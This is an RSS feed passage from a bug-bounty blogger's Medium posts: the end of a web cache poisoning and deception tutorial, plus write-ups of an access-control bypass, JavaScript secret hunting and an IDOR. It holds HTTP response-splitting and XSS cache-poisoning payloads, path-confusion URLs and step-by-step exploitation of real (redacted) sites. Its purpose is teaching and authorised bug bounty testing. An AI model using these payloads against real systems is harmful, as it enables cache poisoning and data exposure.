/redir_lang.jsp?lang=foobar%0d%0aContent-<br>Length:%200%0d%0a%0d%0aHTTP/1.1%20404%20Not%20Found%0d%0aContent-<br>Type:%20text/html%0d%0aContent-<br>Length:%2019%0d%0a%0d%0a&lt;html&gt;NotFound&lt;/html&gt;<br><br>This results in the following output stream, sent by the web server over the<br>TCP connection:<br><br>HTTP/1.1 302 Moved Temporarily<br>Date: Wed, 24 Dec 2003 15:26:41 GMT<br>Location: http://10.1.1.1/by_lang.jsp?lang=foobar<br>Content-Length: 0<br><br><br>HTTP/1.1 404 NotFound<br>Content-Type: text/html<br><br>&lt;html&gt;NotFound&lt;/html&gt;</pre><p>The cache will see the response of the request [GET /redir_lang.jsp] as 404 Not Found and then will end up caching it.</p><blockquote>One technique I tried is to send a request with a very long cookies. Trying to cause an error in the origin server and then try to cache that error page. I tried it on a few website and it didn’t works. Feel free to try or if you have something similar like that.</blockquote><h4>Conclusion</h4><p>The cache sees nothing wrong with the requests being sent. But the origin server classifies the request as malicious so it returns some error code which is stored by the cache server. Obviously, this attack works if the cache is configured to cache status error codes. The best defense is just not to cache them.</p><h4>Web Cache Poising With harmful Payloads</h4><h4>1. Unkeyed Query</h4><p>The Goal here is to find an unkeyed query vulnerable to XSS in order to cache the page with our payload.</p><pre>GET /?unkeyedParam=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1<br>Host: redacted.com<br><br>HTTP/1.1 200 OK<br>Cache: Hit<br>&lt;meta content=&quot;redacted.com/?unkeyedParam&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;/&gt;</pre><p>portswigger lab: <a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query">https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query</a></p><p>Same thing but with unkayed cooike</p><p>portswigger lab<a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie">https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie</a></p><h4>2.Unkeyed Method</h4><p>Suppose we have a POST based xss</p><pre>POST /add_title HTTP/1.1<br>Host: redacted.com<br>Content-Length: 31<br><br>title=&lt;script&gt;alert(1)&lt;/script&gt;<br><br><br>HTTP/1.1 200 OK<br>Cache: miss<br>&lt;div id=&quot;title&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/div&gt;</pre><p>If the GET method is unkeyed we can simply poising the cache by changing the request to GET</p><pre>GET /add_title HTTP/1.1<br>Host: redacted.com<br>Content-Length: 31<br><br>title=&lt;script&gt;alert(1)&lt;/script&gt;<br><br><br>HTTP/1.1 200 OK<br>Cache: hit<br>&lt;div id=&quot;title&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/div&gt;</pre><h4>3. Fat Get</h4><p>Some times website supports GET requests with bodies. Here is a grate bug by James Kettle he found at the Github website</p><pre>GET /contact/report-abuse?report=albinowax HTTP/1.1<br>Host: github.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 22<br><br>report=innocent-victim</pre><p>Anyone who attempted to report abuse on albinowax profile would end up reporting ‘innocent-victim’ instead!</p><p>portswigger lab:<a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get">https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get</a></p><p>Also I observed that cloudflare CDN will block any GET request that has a body in it. We can take advantage of this by sending a Fat Get causing the error page that returned by cloudflare and then try to cache it. I encountered this issue once. [Another WCP-DoS]</p><pre>GET /index.html HTTP/2<br>Host: redacted.com<br>Content-Length: 3<br><br>xyz<br><br><br>HTTP/2 403 Forbidden <br>Cache: hit<br></pre><h4>4.Cache Parameter Cloaking</h4><p>What if all the parameters are in the cache key? Well the goal here is to find an excluded query string from the cache key. Suppose the following request. The cache exclude the utm_content param from the cache key.</p><pre>GET /?title=Anas&amp;utm_content=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1<br>Host: redacted.com</pre><p>In this technique, we will try to place the value of the unkeyed parameter, which is utm_content, into the keyed title parameter in order to poison the cache with the XSS payload. For example, Ruby on Rails splits the parameters based on the semicolon (;) Here, an attacker can send two requests that have the same cache key</p><pre>GET /?title=Hello;utm_content=somethig;title=&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1<br>Host: redacted.com<br><br>HTTP/1.1 200 OK<br>Cache: miss<br>&lt;div id=&quot;title&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/div&gt;</pre><p>portswigger lab: <a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking">https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking</a></p><p>There are also some ways to exploit such a vulnerabilities. I will let you discover and read them on the PortSwigger research section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*sPpjzD0tRk6VDGR7F3pGIA.jpeg" /></figure><h4><strong>Web Cache Deception</strong></h4><p>Upon reading a white paper that I will link it down. More than 74% of the Alexatop 1k are served by CDN.</p><p>WCD results from path confusion between an origin server and a web cache. The goal here is to cache pages that contains sensitive information. In order to exploit WCD vulnerabilities we need to craft a url that satisfies two properties:</p><p>1.The url must be interpreted by the web server as a request for a non-cacheable page and should trigger a successful response.</p><p>2.The same url must be interpreted by an intermediate web cache as a request for a static object matching the caching rule.</p><p>Four Techniques for path confusion:</p><p>1.Path Parameter</p><pre>GET /account.php/style.css</pre><p>2.Encoded New Line \n</p><pre>GET /account.php%0Astyle.css</pre><p>3.Encoded Simicolon ;</p><pre>GET /account.php%3Bstyle.css</pre><p>4.Encoded Pound #</p><pre>GET /account.php%23style.css</pre><p>5.Encoded Question Mark ?</p><pre>GET /account.php%3Fvar=style.css</pre><p>Recently. I have read a great path confusion writeup but I don’t remember where.However, The bug hunter observer that the website has a caching rule like this</p><pre>/blog/* </pre><p>And he exploit that by sending this kind of request.</p><pre>GET /blog/%2F../account.php</pre><p>Correct me please if I am wrong or comment down the write up if you know it :)</p><h4>The End</h4><p>This is it! I think I’ve covered the key aspects of Web Cache attacks. Let me know in the comments if you have any questions or things I have missed.</p><p>Thanks for reaching here! Hope you liked it. Don’t forget to follow and clap along (you can do it up to 50 times!).</p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Follow me on LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="http://www.buymeacoffee.com/anasbetis94">anas_hmaidy</a></p><h4><strong>Resources</strong></h4><h4><strong>James Kettle. Web-cache-entanglement</strong></h4><p><a href="https://portswigger.net/research/web-cache-entanglement">Web Cache Entanglement: Novel Pathways to Poisoning</a></p><h4><strong>Jemes Kettle. Practical Web Cache Poisoning</strong></h4><p><a href="https://portswigger.net/research/practical-web-cache-poisoning">https://portswigger.net/research/practical-web-cache-poisoning</a></p><h4><strong>Youst. Cache Poisoning at Scale</strong></h4><p><a href="https://youst.in/posts/cache-poisoning-at-scale/">Cache Poisoning at Scale</a></p><h4><strong>Youst. Cache Key Normalization DoS</strong></h4><p><a href="https://youst.in/posts/cache-key-normalization-denial-of-service/">Cache Key Normalization DoS</a></p><h4>CPDoS: Cache Poisoned Denial of Service</h4><p><a href="https://cpdos.org/">https://cpdos.org/</a></p><h4><strong>Sergey Bobrov. HTTP Response Splitting</strong></h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FgWQyWdZbdoY&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DgWQyWdZbdoY&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FgWQyWdZbdoY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0d4f8f76087980e06ad65699e14dcc91/href">https://medium.com/media/0d4f8f76087980e06ad65699e14dcc91/href</a></iframe><h4><strong>HTTP Response Splitting, Web Cache<br>Poisoning Attacks, and Related Topics</strong></h4><p><a href="https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html">https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html</a></p><h4>Omer Git. Web Cache Deception Attack</h4><p>https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html</p><h4>U<a href="https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari">senix</a><strong>. Cached and Confused: Web Cache Deception in the Wild</strong></h4><p><a href="https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari">https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a829f221f52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Click, Intercept, Hack: Checkmate on Access Control Vulnerability]]></title>
            <link>https://anasbetis023.medium.com/click-intercept-hack-checkmate-on-access-control-vulnerability-20152a7149e2?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/20152a7149e2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 14:06:52 GMT</pubDate>
            <atom:updated>2024-04-01T14:30:26.127Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMZynS2Po8I0lVkJ9Anz3A.jpeg" /></figure><p><strong>Good Day!</strong></p><p>I hope you are doing well. Today, I am going to share a Broken Access Control (BAC) bug that I found a while ago in one of the HackerOne private programs. The website I was testing on is a popular chess platform, but I’ll refer to it as redacted.com :)</p><p><strong>الحمدلله و الصلاة و السلام على سيدنا محمد</strong></p><p>Initially, I tested the platform using my main account instead of creating a new one. I spent two days testing, but I only received informative and “N/A” responses from the website security team.</p><p>I decided to create a new account to perform some A-B testing, but I still got no results. However, the website has a function for creating and posting blogs.I played around with this feature and created a new test blog, but when I clicked “post” I received a message saying:</p><p>“<strong>Please play a few games and wait 2 days before you can create blog posts</strong>” as you can see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*QZDa2LnF6OA4XYAD0MrjtQ.png" /><figcaption>Website Error message</figcaption></figure><p>The website seemed to have some restrictions on new accounts, but it’s OK challenge accepted. Since I was able to post blogs from my main account, I created a new blog and clicked “post” Then, I intercepted the request with Burp Suite and sent it to the repeater. I replaced the cookies in the request with the cookies from my new account and clicked “send”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*PRcVQ07dV6-CGe9C_kGAPg.png" /><figcaption>Blog post request</figcaption></figure><p>The website redirected me to the new blog’s ID</p><pre>Location: /ublog/tNvzuFtw/edit</pre><p>I copied the path, pasted it into the browser on my new account’s session, and Congrats! The blog was created under the name of the new account :)</p><p>I reported the bug as “<strong>Unauthorized Blogs Creation</strong>”, and Alhamdulilah, the program triaged it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*TxTrzM6ZlKbkE4xfBLqFxA.jpeg" /></figure><p>While the bug itself wasn’t a high-impact one and the key thing is just cookies manipulation. I learned a valuable lesson, it’s important to read a website’s policies and understand their rules to identify potential bugs. Getting into the website logic and functions is the key of finding some assets that will helps you finding bugs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Y4PyUX8YCfv0eE4AM2276Q.jpeg" /><figcaption>Thanks for reading :)</figcaption></figure><p>Learn more about access control : <a href="https://portswigger.net/web-security/access-control">https://portswigger.net/web-security/access-control</a></p><p>I hope you enjoyed this write-up! Please feel free to follow me and leave claps (you can do it up to 50 times!).</p><p>Read my previous write-ups</p><p><a href="https://anasbetis023.medium.com/how-one-bug-scored-me-double-rewards-355b8d02cdbf">How One Bug Scored me Double Rewards</a></p><p><a href="https://anasbetis023.medium.com/bugs-js-a-closer-look-at-javascript-for-successful-bug-hunting-fddb0d796498">Bugs&amp;JS: A Cloesr Look at JavaScript for Successful Bug Hunting</a></p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Follow me on LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p>Buy me a coffee : <a href="https://www.buymeacoffee.com/anasbetis94">www.buymeacoffee.com/anasbetis94</a></p><p><strong>Best Regards :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20152a7149e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bugs & JS :A Closer Look at JavaScript for Successful Bug Hunting]]></title>
            <link>https://anasbetis023.medium.com/bugs-js-a-closer-look-at-javascript-for-successful-bug-hunting-fddb0d796498?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/fddb0d796498</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Wed, 10 Jan 2024 14:23:50 GMT</pubDate>
            <atom:updated>2024-04-01T14:31:24.573Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bugs &amp; JS :A Closer Look at JavaScript for Successful Bug Hunting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AeV0VF6Fit1q-gSamfHttA.jpeg" /><figcaption><a href="https://www.pexels.com/photo/close-up-photo-of-codes-1089440/">https://www.pexels.com/photo/close-up-photo-of-codes-1089440/</a></figcaption></figure><p><strong>Good Day!</strong></p><p>Remember when I first started bug hunting? I used to think looking into JS files was unnecessary. Would I really find bugs in some files everyone could see, right? But after some reading, I realized I was missing out on a lot. So, I would like to share some resources,tools,tutorials and other ways<br>to dig more and learn about JS analysis.</p><h3>Resources and Tools</h3><p>As you may know, diving into JS files can be quite beneficial. It allows you to uncover hidden functionalities, credentials, API keys, paths, and more. This is especially valuable in identifying client-side vulnerabilities like XSS.</p><p>You can start and see the greatness with a short video where Tomnomnom talks about Chrome Dev Tools and shares some cool tips: <a href="https://youtu.be/FTeE3OrTNoA?si=BBStD_1KU_gFqwWP">Link</a></p><p>My way of looking into JS files is pretty simple. I read them manually to see if anything catches my eye. I use <a href="https://addons.mozilla.org/en-US/firefox/addon/fire-source-viewer/">Fire Source Viewer</a> extension for quickly viewing HTML, JavaScript and CSS and easy reading.Leave me a comment if you know better one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6yuromfJhZSNiJylYwqtA.png" /><figcaption><a href="https://addons.mozilla.org/en-US/firefox/addon/fire-source-viewer/">Fire Source Viewer</a> extension</figcaption></figure><p>For the tools I usually use two:</p><ol><li><a href="https://github.com/byt3hx/jsleak"><strong>JSleak</strong></a><strong> , </strong>it is easy-to-use command-line tool designed to uncover secrets and links in JavaScript files</li><li><a href="https://github.com/raoufmaklouf/jsecret"><strong>JSecret</strong></a><strong>, </strong>simple and fast tool to detect sensitive data in the source code such as javascript files or others.</li></ol><pre>echo &quot;http://target.com&quot; &gt; target.txt<br>cat traget.txt| grep &quot;.js$&quot; | uniq | jsleak -l -s<br>cat traget.txt| grep &quot;.js$&quot; | uniq | jsecret</pre><p>Note:</p><ul><li>grep &quot;.js$&quot;: Looks for lines with &quot;.js&quot; at the end (if you do not add ‘$’ it will grep the json files also).</li><li>uniq: Removes repeated lines.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*IEKpBL2MH_H4lXlaknl6tA.jpeg" /></figure><p>Another approach I have read from one of the top 15 at H1 <a href="https://ae.linkedin.com/in/jayesh-madnani">Jayesh</a> is to collect URLs from Katana and waymore, then filter .js files. Downloads those js files using wget or curl and run <a href="https://github.com/BishopFox/jsluice">JSluise</a> on them.</p><p>Anyway,The more important things is to Learn the JS Fundamentals,Understanding the Document Object Model (DOM),Understand how JavaScript handles events, such as user clicks, keypresses, and form submissions. Learn how to attach event handlers to respond to these events,Ajax and Fetch API and more. I do not know a specific course teach you all but you can search and learn about every concept you want.</p><p>Also I would highly recommended this <a href="https://www.youtube.com/watch?v=nLMs1aXdkgk&amp;list=PLcCG2wDOBXAWGn-_ZAWUfvwu_RkBtNxPt&amp;pp=iAQB">Arabic playlist</a> talks about how to do JS Analysis using different methods.</p><p>Check out also these bug reports related to JS:</p><p>Admin account/panel takeOver and Doing actions in admin panel via DOM-based XSS, <a href="https://hackerone.com/reports/1619445"><strong>Link</strong></a><strong>.</strong></p><p>API leak in JS-file, <a href="https://hackerone.com/reports/1218754"><strong>Link</strong></a>.</p><p>Javascript Injection and JS bridge takeover,<a href="https://hackerone.com/reports/1343300"><strong>Link.</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4odl19xDr1Gb_T0C2Ie8Sg.jpeg" /><figcaption>Hide the pain</figcaption></figure><p>At the end, I am not a JS master. I simply wanted to share some helpful experiences with you. Don’t forget to take a look at my previous <a href="http://anasbetis023.medium.com/how-one-bug-scored-me-double-rewards-355b8d02cdbf">write-up</a> .<br>I hope you find it interesting. If you do, please consider giving it a clap and following along :)</p><p>My LinkedIn Profile : <a href="http://linkedin.com/in/anas-hmaidy/">anas_hmaidy</a></p><p>My Telegram Channel : <a href="https://t.me/anas_hmaidy">anas_hmiady</a></p><p>Byy me a coffee : https://www.buymeacoffee.com/anasbetis94</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fddb0d796498" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How One Bug Scored Me Double Rewards!]]></title>
            <link>https://anasbetis023.medium.com/how-one-bug-scored-me-double-rewards-355b8d02cdbf?source=rss-f3967c63d771------2</link>
            <guid isPermaLink="false">https://medium.com/p/355b8d02cdbf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Anas H Hmaidy]]></dc:creator>
            <pubDate>Tue, 19 Dec 2023 13:42:38 GMT</pubDate>
            <atom:updated>2025-03-29T09:23:02.619Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w76ypi2UDwXSbNnKdqNyHg.jpeg" /><figcaption><a href="https://www.pexels.com/photo/security-logo-60504/">https://www.pexels.com/photo/security-logo-60504/</a></figcaption></figure><p>Good day!</p><p>I hope you are well. As this is my first write-up here, I hope you like it. I’ll get straight into the bugs I found a while ago in a private program at HackerOne. Let’s call it <strong>redacted.com</strong> :)</p><p>The program I am hunting on is resolving any subdomain “anything.redacted.com” to the main website login page “redacted.com/login”, That behavior is new to me so I thought it is kind of useless to use subdomain gathering tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*hYFz63kfYet7eeQHaOJLEw.jpeg" /><figcaption>Hide the pain</figcaption></figure><p>I started with a simple <a href="https://www.shodan.io/">Shodan</a> dork:</p><pre>ssl:redacted.com</pre><p>A lot of results come out until I found an IP address going to the subdomain “z2007.redacted.com” — <strong>interesting! </strong>You can look at “z2007”; it seems like it is some old forgotten server!</p><p>The main website services are like making video sessions and screenshare between others. After searching, I found a test page at “z2007.redacted.com/agv/sampleAgent.html”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*XvC5_V9dXSUtvA7zd_vXDw.png" /><figcaption>The test page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*KJyfNcx1bS5qITpPD4_uhA.png" /><figcaption>Request body of the test page</figcaption></figure><p>OK. Let us send a request and intercept it. You can see the PUT /offer request body above. I tried to change everything to see the response, and it was the same one response. Except when changing the “groupid” param, there was a little difference in the response; you give the groupid, and the server responds with the group name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*dbVx6zJCmmiMnAniHScn1g.png" /><figcaption>Server responds</figcaption></figure><p>At first, this changing was not interesting for me. But after thinking about the website services and functions, that group name was a new thing I hadn’t seen before. So I reported it as “Information Disclosure [Group Name Manipulation],” and Alhamdulillah, the program accepted it as the group name should not be disclosed without authentication, and I got a bounty of 100$ :)</p><p>OK, should we stop here? I don’t think so. As we found a bug at one subdomain, it might be the same bug there on another one! Just visit every possible subdomain and make a PUT request to see the response.</p><p>With some Google dorking, I gathered some subdomains and started to send the same PUT /offer request above to each subdomain. Unfortunately, I got nothing, and I stopped here :(</p><p>Surely, no, just don’t stop. The bug is there; you just need to search harder. Luckily, I found a subdomain “video.redacted.com” allows the previous PUT requests! After searching, I found that the server accepts three params “groupid, isAnonymous, and a new param called personid.”</p><p>Now, access: <a href="https://video.redacted.net/offer?groupid=21582&amp;isAnonymous=true&amp;personid=1990018">https://video.redacted.net/offer?groupid=21582&amp;isAnonymous=true&amp;personid=1990018</a><br>Intercept the request and change the method to PUT and click forward to see results in the browser. And <strong>WOW!</strong> A lot of results came out!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*7ur5rptdsUN9JkVTjnuEjA.png" /><figcaption>video.redacted.com responds</figcaption></figure><p>By this, I was able to register a video session for anyone in any group. If you modify the groupid and personid parameters, you will get new session data.<br>I reported it as “IDOR Leads to Unauthorized Access to Sensitive Users Session Data” and Alhamdulillah, the program accepted it and rewarded me with 200$.</p><p>At the end, things didn’t go well with HackerOne support. They banned me from the reward I got because I live in Syria, and so I am not applicable for any rewards due to some US laws.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*bhKW7_TWarhmRZapSEFd9Q.jpeg" /><figcaption>feel the pain</figcaption></figure><p>But it doesn’t matter. Money will come sooner or later. As they say, you are only responsible for the effort, not the outcome.</p><p>I hope you enjoyed it; please don’t forget to give it a like :)</p><p>Join my telegram channel: <a href="https://t.me/anas_hmaidy">anas_hmaidy</a></p><p>Follow me on LinkedIn: <a href="https://www.linkedin.com/in/anas-hmaidy">anas_hmaidy</a></p><p><strong>Best Regards :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=355b8d02cdbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>